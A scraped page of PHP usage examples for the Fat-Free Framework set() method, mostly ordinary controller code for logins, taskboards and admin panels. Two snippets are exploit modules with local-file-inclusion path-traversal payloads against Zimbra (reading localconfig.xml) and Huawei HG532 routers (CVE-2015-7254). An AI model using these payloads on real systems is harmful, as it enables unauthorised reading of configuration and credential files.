set() публичный Метод

Bind value to hive key
public set ( $key, $val, $ttl ) : mixed
$key string
$val mixed
$ttl int
Результат mixed
Пример #1
0
 /**
  * set auth tokens
  * @param $token
  * @param $secret
  */
 public function setAuthToken($token, $secret)
 {
     $this->authToken = $token;
     $this->authSecret = $secret;
     $this->f3->set('SESSION.dropbox.authToken', $this->authToken);
     $this->f3->set('SESSION.dropbox.authSecret', $this->authSecret);
 }
Пример #2
0
 /**
  * POST /register
  * @param \Base $fw
  */
 function registerPost(\Base $fw)
 {
     try {
         $token = \Helper\Api\User::register($fw->get('POST'));
         $fw->set('COOKIE.session_token', $token);
         $fw->reroute('/stream');
     } catch (\Exception $e) {
         $fw->set('error', $e->getMessage());
         \App::error(403);
     }
 }
Пример #3
0
 /**
  * @param \Base $f3
  */
 public function init($f3)
 {
     $character = $this->getCharacter();
     // page title
     $pageTitle = $character ? $character->name : 'Map';
     $f3->set('pageTitle', $pageTitle);
     // main page content
     $f3->set('pageContent', false);
     // body element class
     $f3->set('bodyClass', 'pf-body');
     // JS main file
     $f3->set('jsView', 'mappage');
 }
Пример #4
0
 /**
  * Single tag route (/tag/@tag)
  * @param \Base $f3
  * @param array $params
  */
 public function single($f3, $params)
 {
     $tag = new \Model\Issue\Tag();
     $tag->load(array("tag = ?", $params["tag"]));
     if (!$tag->id) {
         $f3->error(404);
         return;
     }
     $issue = new \Model\Issue\Detail();
     $issue_ids = implode(',', $tag->issues());
     $f3->set("title", "#" . $params["tag"] . " - " . $f3->get("dict.issue_tags"));
     $f3->set("tag", $tag);
     $f3->set("issues.subset", $issue->find("id IN ({$issue_ids})"));
     $this->_render("tag/single.html");
 }
Пример #5
0
 /**
  * Displays a fatal error message and exits.
  *
  * @param string $error the message to set
  */
 protected function fatalError($error)
 {
     $this->f3->set('title', $this->t('Error'));
     $this->f3->set('message', $error);
     $tpl = new \Template();
     print $tpl->render('page.html');
     exit;
 }
Пример #6
0
 /**
  * POST /login
  * @param \Base $fw
  * @return void
  */
 public function login(\Base $fw)
 {
     if ($this->_getUser()) {
         $fw->reroute('/dashboard');
     }
     $username = $fw->get('POST.username');
     $password = $fw->get('POST.password');
     $user = new \Model\User();
     $user->load(array('username = ?', $username));
     if ($user->id) {
         if (password_verify($password, $user->password)) {
             $fw->set('SESSION.user_id', $user->id);
             $fw->reroute('/dashboard');
         }
     }
     $fw->set('error', 'Invalid username or password.');
     $this->_render('index.html');
 }
Пример #7
0
 function __construct()
 {
     $this->f3 = \Base::instance();
     $config = $this->f3->get('MULTILANG');
     //languages definition
     if (!is_array(@$config['languages'])) {
         user_error(self::E_NoLang, E_USER_ERROR);
     }
     foreach ($config['languages'] as $lang => $locales) {
         if (is_array($locales)) {
             $locales = implode(',', $locales);
         }
         if (!$this->languages) {
             $this->f3->set('FALLBACK', $locales);
             $this->primary = $lang;
         }
         $this->languages[$lang] = $locales;
         $this->rules[$lang] = array();
     }
     //aliases definition
     $this->_aliases = $this->f3->get('ALIASES');
     if (is_array(@$config['rules'])) {
         foreach ($config['rules'] as $lang => $aliases) {
             $this->rules[$lang] = $aliases;
         }
     }
     //global routes
     if (isset($config['global'])) {
         if (!is_array($config['global'])) {
             $config['global'] = array($config['global']);
         }
         $prefixes = array();
         foreach ($config['global'] as $global) {
             if (@$global[0] == '/') {
                 $prefixes[] = $global;
             } else {
                 $this->global_aliases[] = $global;
             }
         }
         if ($prefixes) {
             $this->global_regex = '#^(' . implode('|', array_map('preg_quote', $prefixes)) . ')#';
         }
     }
     //migration mode
     $this->migrate = (bool) @$config['migrate'];
     //detect current language
     $this->detect();
     //rewrite existing routes
     $this->rewrite();
     //root handler
     $self = $this;
     //PHP 5.3 compatibility
     $this->f3->route('GET /', @$config['root'] ?: function ($f3) use($self) {
         $f3->reroute('/' . $self->current);
     });
 }
 /**
  * Zimbra Collaboration Server URI Based LFI
  * @param \Base $f3
  */
 public function zimbra_lfi(\Base $f3)
 {
     $lfi = new Larfi();
     $f3->set('exploit_title', 'Zimbra Collaboration server LFI (Versions: <=7.2.2 and <=8.0.2 )');
     $this->response->data['SUBPART'] = 'lfi_page.html';
     $blankurl = $f3->devoid('POST.url');
     $url = $f3->get('POST.url');
     $payload = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
     return $this->uri_based_lfi($blankurl, $url, $payload);
 }
Пример #9
0
 /**
  * GET|POST /logout
  * @param \Base $fw
  */
 function logout(\Base $fw)
 {
     if ($fw->get('COOKIE.session_token') == $fw->get('GET.session')) {
         \Helper\Api\User::logout();
         $fw->set('COOKIE.session_token', null);
         $fw->reroute('/');
     } else {
         $fw->error(400);
     }
 }
 /**
  * Huawei_lfi
  * cve-2015-7254
  * Directory traversal vulnerability on Huawei HG532e, HG532n, and HG532s devices allows remote attackers to read arbitrary files via a .. (dot dot) in an icon/ URI.
  * @param \Base $f3
  * Alternative file read: http://<target_IP>:37215/icon/../../../etc/inittab.
  */
 public function huawei_lfi(\Base $f3)
 {
     $lfi = new Larfi();
     $f3->set('exploit_title', 'HUAWEI LFI (cve-2015-7254) Huawei HG532e, HG532n, & HG532s');
     $this->response->data['SUBPART'] = 'lfi_page.html';
     $blankurl = $f3->devoid('POST.url');
     $url = $f3->get('POST.url');
     $payload = ":37215/icon/../../../etc/defaultcfg.xml";
     return $this->uri_based_lfi($blankurl, $url, $payload);
 }
Пример #11
0
 /**
  * @param \Base $f3
  */
 private function onePager($f3)
 {
     $contents = '';
     $tree = $this->ptService->getTree();
     foreach ($tree as $rootPage) {
         $layoutClassName = $this->getLayoutClassForPage($rootPage);
         $layout = new $layoutClassName(array($rootPage), $this->lang, $this->tree);
         $contents .= $layout->doRender();
     }
     $f3->set('contents', $contents);
 }
Пример #12
0
 protected function _setup()
 {
     ini_set('max_execution_time', 60);
     if ($this->_fw->get('DEBUG')) {
         ini_set('display_errors', 1);
     }
     // Setup i18n
     $i18n = I18n::instance();
     $i18n->setLocale($this->getSession()->getLocale());
     $i18n->setCurrencyCode($this->getSession('xhb')->getCurrencyCode());
     // Set HTML lang according to defined locale
     $this->_fw->set('HTML_LANG', $i18n->getLocaleCountryCodeISO2());
     // Load XHB
     $this->getSession('xhb')->set('xhb_file', $this->_xhbFile);
     // Avoid decimal separator issues when casting double and float values to strings
     setlocale(LC_NUMERIC, 'C');
     if ($theme = $this->getSession()->getTheme()) {
         Design::instance()->setTheme($theme);
     }
     Design::instance()->init();
     if ($this->_xhbFile == 'data/example.xhb') {
         $this->getSession()->addMessage($i18n->tr("It seems you're using the default <span class=\"mono\">example.xhb</span> file. " . "You may want to change it by editing <span class=\"mono\">etc/local.ini</span>."), Session::MESSAGE_INFO, array('no_escape' => true));
     }
 }
Пример #13
0
 /**
  * display a list of post entries
  * @param \Base $f3
  * @param array $params
  */
 public function getList(\Base $f3, $params)
 {
     $this->response->data['SUBPART'] = 'post_list.html';
     $page = \Pagination::findCurrentPage();
     if ($this->response instanceof \View\Backend) {
         // backend view
         $records = $this->resource->paginate($page - 1, 5, null, array('order' => 'publish_date desc'));
     } else {
         // frontend view
         $tags = new Tag();
         $f3->set('tag_cloud', $tags->tagCloud());
         $this->resource->filter('comments', array('approved = ?', 1));
         $this->resource->countRel('comments');
         $records = $this->resource->paginate($page - 1, 10, array('publish_date <= ? and published = ?', date('Y-m-d'), true), array('order' => 'publish_date desc'));
     }
     $this->response->data['content'] = $records;
 }
Пример #14
0
 public function database(\Base $f3)
 {
     $this->response->data['SUBPART'] = 'settings_database.html';
     $cfg = \Config::instance();
     if ($f3->get('VERB') == 'POST' && $f3->exists('POST.active_db')) {
         $type = $f3->get('POST.active_db');
         $cfg->{'DB_' . $type} = $f3->get('POST.DB_' . $type);
         $cfg->ACTIVE_DB = $type;
         $cfg->save();
         \Flash::instance()->addMessage('Config saved', 'success');
         $setup = new \Setup();
         $setup->install($type);
         // logout
         $f3->clear('SESSION.user_id');
     }
     $cfg->copyto('POST');
     $f3->set('JIG_format', array('JSON', 'Serialized'));
 }
Пример #15
0
 protected function profile(\Base $f3, $params)
 {
     $this->response->addTitle($f3->get('LN__AdminMenu_Profile'));
     $f3->set('title_h3', $f3->get('LN__AdminMenu_Profile'));
     if (isset($params[2])) {
         $params = $this->parametric($params[2]);
     }
     if (isset($params['edit']) and is_numeric($params['edit'])) {
         return TRUE;
     }
     // Get all available user fields
     $fields = $this->model->listUserFields();
     // Group array by field type
     foreach ($fields as $field) {
         $data[$field['field_type']][] = $field;
     }
     $this->buffer(\View\AdminCP::listUserFields($data));
 }
Пример #16
0
function show_question(\Base $f3, $params)
{
    $ans = $f3->get('GET.answer');
    $rowid = $f3->get('GET.rowid');
    $db = $f3->get('DB');
    if ($rowid && $ans == "") {
        $f3->reroute('/');
    } else {
        if ($ans && $rowid) {
            $f3->dump($rowid);
            $res = $db->exec('UPDATE q SET answer = ? WHERE rowid = ?', array($ans, $rowid));
            $f3->reroute('/');
        } else {
            $res = $db->exec("SELECT rowid, * FROM q WHERE answer = '' ORDER BY random() LIMIT 1", $txt);
            $f3->set('question', $res);
            echo View::instance()->render('show_question.htm');
        }
    }
}
Пример #17
0
 public function save(\Base $f3, $params)
 {
     $params = $this->parametric($params[1]);
     if ($_SESSION['userID'] != 0 || \Base::instance()->get('CONFIG')['allow_guest_comment_news']) {
         $errors = [];
         $data = $f3->get('POST.comment');
         // Obviously, there should be some text ...
         if ("" == ($data['text'] = trim($data['text']))) {
             $errors[] = 'MessageEmpty';
         }
         if ($_SESSION['userID']) {
             if (empty($errors) and $this->model->saveComment($params['id'], $data, TRUE)) {
                 $f3->reroute('news/id=' . $params['id'], false);
             } else {
                 $errors[] = "CannotSave";
             }
         } else {
             // Check if captcha is initialized and matches user entry
             if (empty($_SESSION['captcha']) or !password_verify(strtoupper($data['captcha']), $_SESSION['captcha'])) {
                 $errors[] = 'CaptchaMismatch';
             }
             // Guest can't post with an empty name
             if ("" == ($data['name'] = trim($data['name']))) {
                 $errors[] = 'GuestNameEmpty';
             }
             // guest can't post URL (reg ex is not perfect, but it's a start)
             if (preg_match("/\\b(?:(?:https?|ftp):\\/\\/|www\\.)[-a-z0-9+&@#\\/%?=~_|!:,.;]*[-a-z0-9+&@#\\/%=~_|]/i", $data['text'])) {
                 $errors[] = 'GuestURL';
             }
             if (empty($errors) and 1 == $this->model->saveComment($params['id'], $data)) {
                 // destroy this session captcha
                 unset($_SESSION['captcha']);
                 $f3->reroute('news/id=' . $params['id'], false);
             }
         }
         // If no data was saved, we end up here, so we show the page again and it will display the errors
         $f3->set('formError', $errors);
         $this->index($f3, $params);
     }
 }
Пример #18
0
 protected function categories(\Base $f3, $params)
 {
     if (isset($params[2])) {
         $params = $this->parametric($params[2]);
     }
     $this->response->addTitle($f3->get('LN__AdminMenu_Categories'));
     $f3->set('title_h3', $f3->get('LN__AdminMenu_Categories'));
     if (isset($params['move'])) {
         $parent = $this->model->moveCategory($params['move'][1], $params['move'][0]);
         \Model\Routines::instance()->cacheCategories($parent);
     } elseif (isset($params['add'])) {
         $parent_cid = (isset($params['add']) and $params['add'] !== TRUE) ? (int) $params['add'] : 0;
         if (isset($_POST['form_data'])) {
             $newID = $this->model->addCategory($parent_cid, $f3->get('POST.form_data'));
         }
         if (empty($newID)) {
             // Attempted to add category, but failed
             if (@$newID === FALSE) {
                 $errors = '__failAddCategory';
             }
             $parent_info = $this->model->loadCategory($parent_cid);
             // Non-existent category, go back to overview
             if ($parent_info === FALSE) {
                 $f3->reroute('/adminCP/archive/categories', false);
             }
             // Form
             $data = ['errors' => @$errors, 'changes' => @$changes, 'id' => $parent_cid, 'info' => @$parent_info];
             $this->buffer(\View\AdminCP::addCategory($f3, $data));
             // Leave function without creating further forms or mishap
             return TRUE;
         } else {
             $f3->set('changes', 1);
         }
     } elseif (isset($params['delete'])) {
         $data = $this->model->loadCategory((int) $params['delete']);
         if (isset($data['category'])) {
             $data['stats'] = json_decode($data['stats'], TRUE);
             if ($data['stats']['sub'] === NULL and $data['stats']['count'] == 0) {
                 if (FALSE === $this->model->deleteCategory((int) $params['delete'])) {
                     $errors = $f3->get('ACP_Categories_Error_DBError', $data['category']);
                 } else {
                     $changes = $f3->get('ACP_Categories_Success_Deleted', $data['category']);
                 }
             } else {
                 $errors = $f3->get('ACP_Categories_Error_notEmpty', $data['category']);
             }
         } else {
             $errors = $f3->get('ACP_Categories_Error_badID');
         }
     } elseif (isset($_POST) and sizeof($_POST) > 0) {
         if (isset($_POST['form_data'])) {
             $changes = $this->model->saveCategory($params['id'], $f3->get('POST.form_data'));
         }
     }
     if (isset($params['id'])) {
         $data = $this->model->loadCategory($params['id']);
         $data['move'] = $this->model->loadCategoryPossibleParents($params['id']);
         if ($data['leveldown'] > 1) {
             $parent = $this->model->loadCategory($data['move'][0]['parent_cid']);
             $data['move'] = array_merge([["cid" => $parent['id'], "parent_cid" => $parent['parent_cid'], "leveldown" => $parent['leveldown'] - 1, "category" => $parent['category'] . " (one level up)"]], $data['move']);
         }
         $data['move'] = array_merge([["cid" => 0, "parent_cid" => 0, "leveldown" => -1, "category" => "__Category_MainCategory"]], $data['move']);
         $data['stats'] = json_decode($data['stats'], TRUE);
         $data['errors'] = @$errors;
         $data['changes'] = @$changes;
         $this->buffer(\View\AdminCP::editCategory($data));
         return TRUE;
     }
     $data = $this->model->categoriesListFlat();
     $feedback['errors'] = @$errors;
     $feedback['changes'] = @$changes;
     $this->buffer(\View\AdminCP::listCategories($data, $feedback));
 }
Пример #19
0
 protected function layout(\Base $f3, $params)
 {
     $f3->set('title_h3', $f3->get('LN__AdminMenu_Layout'));
     $layoutConfig = $this->model->getLayoutConfig();
     // Folder list with ***x cleanup - anyone with a windows server, is this working?
     $entries = array_diff(scandir("./template/frontend"), array('..', '.'));
     foreach ($entries as $entry) {
         if (is_dir("./template/frontend/{$entry}")) {
             $data = (array) simplexml_load_file("./template/frontend/{$entry}/info.xml");
             $data['active'] = array_key_exists($data['folder'], $layoutConfig['layout_available']);
             $layoutFiles[] = $data;
         }
     }
     return \View\AdminCP::layout($layoutFiles, $layoutConfig);
 }
Пример #20
0
 /**
  * GET /backlog/old
  * @param \Base $f3
  */
 public function index_old($f3)
 {
     $sprint_model = new \Model\Sprint();
     $sprints = $sprint_model->find(array("end_date < ?", $this->now(false)), array("order" => "start_date ASC"));
     $issue = new \Model\Issue\Detail();
     $sprint_details = array();
     foreach ($sprints as $sprint) {
         $projects = $issue->find(array("deleted_date IS NULL AND sprint_id = ? AND type_id = ?", $sprint->id, $f3->get("issue_type.project")));
         $sprint_details[] = $sprint->cast() + array("projects" => $projects);
     }
     $f3->set("sprints", $sprint_details);
     $f3->set("title", $f3->get("dict.backlog"));
     $f3->set("menuitem", "backlog");
     $this->_render("backlog/old.html");
 }
Пример #21
0
 /**
  * @param \Base $f3
  * @param array $params
  * @throws \Exception
  */
 public function sprint_edit($f3, $params)
 {
     $f3->set("title", $f3->get("dict.sprints"));
     $sprint = new \Model\Sprint();
     $sprint->load($params["id"]);
     if (!$sprint->id) {
         $f3->error(404);
         return;
     }
     if ($post = $f3->get("POST")) {
         if (empty($post["start_date"]) || empty($post["end_date"])) {
             $f3->set("error", "Start and end date are required");
             $this->_render("admin/sprints/edit.html");
             return;
         }
         $start = strtotime($post["start_date"]);
         $end = strtotime($post["end_date"]);
         if ($end <= $start) {
             $f3->set("error", "End date must be after start date");
             $this->_render("admin/sprints/edit.html");
             return;
         }
         $sprint->name = trim($post["name"]);
         $sprint->start_date = date("Y-m-d", $start);
         $sprint->end_date = date("Y-m-d", $end);
         $sprint->save();
         $f3->reroute("/admin/sprints");
         return;
     }
     $f3->set("sprint", $sprint);
     $this->_render("admin/sprints/edit.html");
 }
Пример #22
0
 /**
  * View a taskboard
  *
  * @param \Base $f3
  * @param array $params
  */
 public function index($f3, $params)
 {
     // Require a valid numeric sprint ID
     if (!intval($params["id"])) {
         $f3->error(404);
         return;
     }
     // Default to showing group tasks
     if (empty($params["filter"])) {
         $params["filter"] = "groups";
     }
     // Load the requested sprint
     $sprint = new \Model\Sprint();
     $sprint->load($params["id"]);
     if (!$sprint->id) {
         $f3->error(404);
         return;
     }
     $f3->set("sprint", $sprint);
     $f3->set("title", $sprint->name . " " . date('n/j', strtotime($sprint->start_date)) . "-" . date('n/j', strtotime($sprint->end_date)));
     $f3->set("menuitem", "backlog");
     // Get list of all users in the user's groups
     $filter_users = $this->_filterUsers($params);
     // Load issue statuses
     $status = new \Model\Issue\Status();
     $statuses = $status->find(array('taskboard > 0'), null, $f3->get("cache_expire.db"));
     $mapped_statuses = array();
     $visible_status_ids = array();
     $column_count = 0;
     foreach ($statuses as $s) {
         $visible_status_ids[] = $s->id;
         $mapped_statuses[$s->id] = $s;
         $column_count += $s->taskboard;
     }
     $visible_status_ids = implode(",", $visible_status_ids);
     $f3->set("statuses", $mapped_statuses);
     $f3->set("column_count", $column_count);
     // Load issue priorities
     $priority = new \Model\Issue\Priority();
     $f3->set("priorities", $priority->find(null, array("order" => "value DESC"), $f3->get("cache_expire.db")));
     // Load project list
     $issue = new \Model\Issue\Detail();
     // Find all visible tasks
     $tasks = $issue->find(array("sprint_id = ? AND type_id != ? AND deleted_date IS NULL AND status IN ({$visible_status_ids})" . (empty($filter_users) ? "" : " AND owner_id IN (" . implode(",", $filter_users) . ")"), $sprint->id, $f3->get("issue_type.project")), array("order" => "priority DESC"));
     $task_ids = array();
     $parent_ids = array(0);
     foreach ($tasks as $task) {
         $task_ids[] = $task->id;
         if ($task->parent_id) {
             $parent_ids[] = $task->parent_id;
         }
     }
     $task_ids_str = implode(",", $task_ids);
     $parent_ids_str = implode(",", $parent_ids);
     $f3->set("tasks", $task_ids_str);
     // Find all visible projects or parent tasks
     $projects = $issue->find(array("id IN ({$parent_ids_str}) OR (sprint_id = ? AND type_id = ? AND deleted_date IS NULL" . (empty($filter_users) ? ")" : " AND owner_id IN (" . implode(",", $filter_users) . "))"), $sprint->id, $f3->get("issue_type.project")), array("order" => "owner_id ASC"));
     // Build multidimensional array of all tasks and projects
     $taskboard = array();
     foreach ($projects as $project) {
         // Build array of statuses to put tasks under
         $columns = array();
         foreach ($statuses as $status) {
             $columns[$status["id"]] = array();
         }
         // Add current project's tasks
         foreach ($tasks as $task) {
             if ($task->parent_id == $project->id || $project->id == 0 && (!$task->parent_id || !in_array($task->parent_id, $parent_ids))) {
                 $columns[$task->status][] = $task;
             }
         }
         // Add hierarchical structure to taskboard array
         $taskboard[] = array("project" => $project, "columns" => $columns);
     }
     $f3->set("taskboard", array_values($taskboard));
     $f3->set("filter", $params["filter"]);
     // Get user list for select
     $users = new \Model\User();
     $f3->set("users", $users->getAll());
     $f3->set("groups", $users->getAllGroups());
     $this->_render("taskboard/index.html");
 }
Пример #23
0
 /**
  * View a taskboard
  *
  * @param \Base $f3
  * @param array $params
  */
 public function index($f3, $params)
 {
     $sprint = new \Model\Sprint();
     // Load current sprint if no sprint ID is given
     if (!intval($params["id"])) {
         $localDate = date('Y-m-d', \Helper\View::instance()->utc2local());
         $sprint->load(array("? BETWEEN start_date AND end_date", $localDate));
         if (!$sprint->id) {
             $f3->error(404);
             return;
         }
     }
     // Default to showing group tasks
     if (empty($params["filter"])) {
         $params["filter"] = "groups";
     }
     // Load the requested sprint
     if (!$sprint->id) {
         $sprint->load($params["id"]);
         if (!$sprint->id) {
             $f3->error(404);
             return;
         }
     }
     $f3->set("sprint", $sprint);
     $f3->set("title", $sprint->name . " " . date('n/j', strtotime($sprint->start_date)) . "-" . date('n/j', strtotime($sprint->end_date)));
     $f3->set("menuitem", "backlog");
     // Get list of all users in the user's groups
     $filter_users = $this->_filterUsers($params);
     // Load issue statuses
     $status = new \Model\Issue\Status();
     $statuses = $status->find(array('taskboard > 0'), array('order' => 'taskboard_sort ASC'));
     $mapped_statuses = array();
     $visible_status_ids = array();
     $column_count = 0;
     foreach ($statuses as $s) {
         $visible_status_ids[] = $s->id;
         $mapped_statuses[$s->id] = $s;
         $column_count += $s->taskboard;
     }
     $visible_status_ids = implode(",", $visible_status_ids);
     $f3->set("statuses", $mapped_statuses);
     $f3->set("column_count", $column_count);
     // Load issue priorities
     $priority = new \Model\Issue\Priority();
     $f3->set("priorities", $priority->find(null, array("order" => "value DESC"), $f3->get("cache_expire.db")));
     // Load project list
     $issue = new \Model\Issue\Detail();
     // Find all visible tasks
     $tasks = $issue->find(array("sprint_id = ? AND type_id != ? AND deleted_date IS NULL AND status IN ({$visible_status_ids})" . (empty($filter_users) ? "" : " AND owner_id IN (" . implode(",", $filter_users) . ")"), $sprint->id, $f3->get("issue_type.project")), array("order" => "priority DESC"));
     $task_ids = array();
     $parent_ids = array(0);
     foreach ($tasks as $task) {
         $task_ids[] = $task->id;
         if ($task->parent_id) {
             $parent_ids[] = $task->parent_id;
         }
     }
     $task_ids_str = implode(",", $task_ids);
     $parent_ids_str = implode(",", $parent_ids);
     $f3->set("tasks", $task_ids_str);
     // Find all visible projects or parent tasks
     $projects = $issue->find(array("id IN ({$parent_ids_str}) OR (sprint_id = ? AND type_id = ? AND deleted_date IS NULL" . (empty($filter_users) ? ")" : " AND owner_id IN (" . implode(",", $filter_users) . "))"), $sprint->id, $f3->get("issue_type.project")), array("order" => "owner_id ASC, priority DESC"));
     // Sort projects if a filter is given
     if (!empty($params["filter"]) && is_numeric($params["filter"])) {
         $sortModel = new \Model\Issue\Backlog();
         $sortModel->load(array("user_id = ? AND sprint_id = ?", $params["filter"], $sprint->id));
         $sortArray = array();
         if ($sortModel->id) {
             $sortArray = json_decode($sortModel->issues);
             usort($projects, function (\Model\Issue $a, \Model\Issue $b) use($sortArray) {
                 $ka = array_search($a->id, $sortArray);
                 $kb = array_search($b->id, $sortArray);
                 if ($ka === false && $kb !== false) {
                     return -1;
                 }
                 if ($ka !== false && $kb === false) {
                     return 1;
                 }
                 if ($ka === $kb) {
                     return 0;
                 }
                 if ($ka > $kb) {
                     return 1;
                 }
                 if ($ka < $kb) {
                     return -1;
                 }
             });
         }
     }
     // Build multidimensional array of all tasks and projects
     $taskboard = array();
     foreach ($projects as $project) {
         // Build array of statuses to put tasks under
         $columns = array();
         foreach ($statuses as $status) {
             $columns[$status["id"]] = array();
         }
         // Add current project's tasks
         foreach ($tasks as $task) {
             if ($task->parent_id == $project->id || $project->id == 0 && (!$task->parent_id || !in_array($task->parent_id, $parent_ids))) {
                 $columns[$task->status][] = $task;
             }
         }
         // Add hierarchical structure to taskboard array
         $taskboard[] = array("project" => $project, "columns" => $columns);
     }
     $f3->set("taskboard", array_values($taskboard));
     $f3->set("filter", $params["filter"]);
     // Get user list for select
     $users = new \Model\User();
     $f3->set("users", $users->getAll());
     $f3->set("groups", $users->getAllGroups());
     $this->_render("taskboard/index.html");
 }
Пример #24
0
 /**
  * update map data api
  * -> function is called continuously by any active client
  * @param \Base $f3
  */
 public function updateUserData(\Base $f3)
 {
     $return = (object) [];
     $return->error = [];
     $activeCharacter = $this->getCharacter(0);
     $postData = $f3->get('POST');
     if (!empty($mapIds = (array) $postData['mapIds'])) {
         // IMPORTANT for now -> just update a single map (save performance)
         $mapId = (int) reset($mapIds);
         // get map and check map access
         $map = $activeCharacter->getMap((int) $mapId);
         if (!is_null($map)) {
             $characterMapData = (array) $postData['characterMapData'];
             // check if data for specific system is requested
             $systemData = (array) $postData['systemData'];
             // if data is requested extend the cache key in order to get new data
             $requestSystemData = (object) [];
             $requestSystemData->mapId = isset($systemData['mapId']) ? (int) $systemData['mapId'] : 0;
             $requestSystemData->systemId = isset($systemData['systemData']['id']) ? (int) $systemData['systemData']['id'] : 0;
             // update current location
             // -> suppress temporary timeout errors
             $activeCharacter = $activeCharacter->updateLog(['suppressHTTPErrors' => true]);
             // check character log (current system) and manipulate map (e.g. add new system)
             if ((bool) $characterMapData['mapTracking']) {
                 $map = $this->updateMapData($activeCharacter, $map);
             }
             $cacheKey = $this->getUserDataCacheKey($mapId, $requestSystemData->systemId);
             if (!$f3->exists($cacheKey)) {
                 $return->mapUserData[] = $map->getUserData();
                 // request signature data for a system if user has map access!
                 if ($mapId === $requestSystemData->mapId) {
                     $system = $map->getSystemById($requestSystemData->systemId);
                     if (!is_null($system)) {
                         // data for currently selected system
                         $return->system = $system->getData();
                         $return->system->signatures = $system->getSignaturesData();
                     }
                 }
                 // cache time (seconds) should be equal or less than request trigger time
                 // prevent request flooding
                 $responseTTL = (int) $f3->get('PATHFINDER.TIMER.UPDATE_SERVER_USER_DATA.DELAY') / 1000;
                 // cache response
                 $f3->set($cacheKey, $return, $responseTTL);
             } else {
                 // get from cache
                 // this should happen if a user has multiple program instances running
                 // with the same main char
                 $return = $f3->get($cacheKey);
             }
         }
     }
     // get current user data -> this should not be cached because each user has different personal data
     // even if they have multiple characters using the same map!
     $return->userData = $activeCharacter->getUser()->getData();
     echo json_encode($return);
 }
Пример #25
0
 /**
  * @param \Base $f3
  * @param array $params
  * @throws \Exception
  */
 public function preview($f3, $params)
 {
     $file = new \Model\Issue\File();
     $file->load($params["id"]);
     if (!$file->id || !is_file($file->disk_filename)) {
         $f3->error(404);
         return;
     }
     if (substr($file->content_type, 0, 5) == "image" || $file->content_type == "text/plain") {
         $this->_sendFile($file->disk_filename, $file->content_type, null, false);
         return;
     }
     if ($file->content_type == "text/csv" || $file->content_type == "text/tsv") {
         $delimiter = ",";
         if ($file->content_type == "text/tsv") {
             $delimiter = "\t";
         }
         $f3->set("file", $file);
         $f3->set("delimiter", $delimiter);
         $this->_render("issues/file/preview/table.html");
         return;
     }
     $f3->reroute("/files/{$file->id}/{$file->filename}");
 }
Пример #26
0
 /**
  * GET /atom.xml
  *
  * @param \Base $f3
  * @throws \Exception
  */
 public function atom($f3)
 {
     // Authenticate user
     if ($f3->get("GET.key")) {
         $user = new \Model\User();
         $user->load(array("api_key = ?", $f3->get("GET.key")));
         if (!$user->id) {
             $f3->error(403);
             return;
         }
     } else {
         $f3->error(403);
         return;
     }
     // Get requested array substituting defaults
     $get = $f3->get("GET") + array("type" => "assigned", "user" => $user->username);
     unset($user);
     // Load target user
     $user = new \Model\User();
     $user->load(array("username = ?", $get["user"]));
     if (!$user->id) {
         $f3->error(404);
         return;
     }
     // Load issues
     $issue = new \Model\Issue\Detail();
     $options = array("order" => "created_date DESC");
     if ($get["type"] == "assigned") {
         $issues = $issue->find(array("author_id = ? AND status_closed = 0 AND deleted_date IS NULL", $user->id), $options);
     } elseif ($get["type"] == "created") {
         $issues = $issue->find(array("owner = ? AND status_closed = 0 AND deleted_date IS NULL", $user->id), $options);
     } elseif ($get["type"] == "all") {
         $issues = $issue->find("status_closed = 0 AND deleted_date IS NULL", $options + array("limit" => 50));
     } else {
         $f3->error(400, "Invalid feed type");
         return;
     }
     // Render feed
     $f3->set("get", $get);
     $f3->set("feed_user", $user);
     $f3->set("issues", $issues);
     $this->_render("index/atom.xml", "application/atom+xml");
 }
Пример #27
0
 protected function msgSave(\Base $f3)
 {
     $save = $f3->get('POST');
     if (sizeof($save) > 0) {
         if ($save['recipient'] == "") {
             $f3->set('msgWriteError', "__noRecipient");
             return FALSE;
         }
         $save['recipient'] = explode(",", $save['recipient']);
         if (sizeof($save['recipient']) > 1) {
             // Build an array of recipients
         }
         $status = $this->model->msgSave($save);
         print_r($save);
     }
 }
Пример #28
0
 /**
  * GET /issues/project/@id
  * Project Overview action
  *
  * @param  \Base $f3
  * @param  array $params
  */
 public function project_overview($f3, $params)
 {
     // Load issue
     $project = new \Model\Issue\Detail();
     $project->load($params["id"]);
     if (!$project->id) {
         $f3->error(404);
         return;
     }
     if ($project->type_id != $f3->get("issue_type.project")) {
         $f3->error(400, "Issue is not a project.");
         return;
     }
     /**
      * Helper function to get a percentage of completed issues and some totals across the entire tree
      * @param   \Model\Issue $issue
      * @var     callable $completeCount This function, required for recursive calls
      * @return  array
      */
     $projectStats = function (\Model\Issue &$issue) use(&$projectStats) {
         $total = 0;
         $complete = 0;
         $hoursSpent = 0;
         $hoursTotal = 0;
         if ($issue->id) {
             $total++;
             if ($issue->closed_date) {
                 $complete++;
             }
             if ($issue->hours_spent > 0) {
                 $hoursSpent += $issue->hours_spent;
             }
             if ($issue->hours_total > 0) {
                 $hoursTotal += $issue->hours_total;
             }
             foreach ($issue->getChildren() as $child) {
                 $result = $projectStats($child);
                 $total += $result["total"];
                 $complete += $result["complete"];
                 $hoursSpent += $result["hours_spent"];
                 $hoursTotal += $result["hours_total"];
             }
         }
         return array("total" => $total, "complete" => $complete, "hours_spent" => $hoursSpent, "hours_total" => $hoursTotal);
     };
     $f3->set("stats", $projectStats($project));
     /**
      * Helper function for recursive tree rendering
      * @param   \Model\Issue $issue
      * @var     callable $renderTree This function, required for recursive calls
      */
     $renderTree = function (\Model\Issue &$issue, $level = 0) use(&$renderTree) {
         if ($issue->id) {
             $f3 = \Base::instance();
             $children = $issue->getChildren();
             $hive = array("issue" => $issue, "children" => $children, "dict" => $f3->get("dict"), "BASE" => $f3->get("BASE"), "level" => $level, "issue_type" => $f3->get("issue_type"));
             echo \Helper\View::instance()->render("issues/project/tree-item.html", "text/html", $hive);
             if ($children) {
                 foreach ($children as $item) {
                     $renderTree($item, $level + 1);
                 }
             }
         }
     };
     $f3->set("renderTree", $renderTree);
     // Render view
     $f3->set("project", $project);
     $f3->set("title", $project->type_name . " #" . $project->id . ": " . $project->name . " - " . $f3->get("dict.project_overview"));
     $this->_render("issues/project.html");
 }
Пример #29
0
 /**
  * GET|POST /logout
  * @param  \Base $fw
  * @return void
  */
 public function logout(\Base $fw)
 {
     $fw->set('SESSION.user_id', null);
     $fw->reroute('/');
 }
Пример #30
0
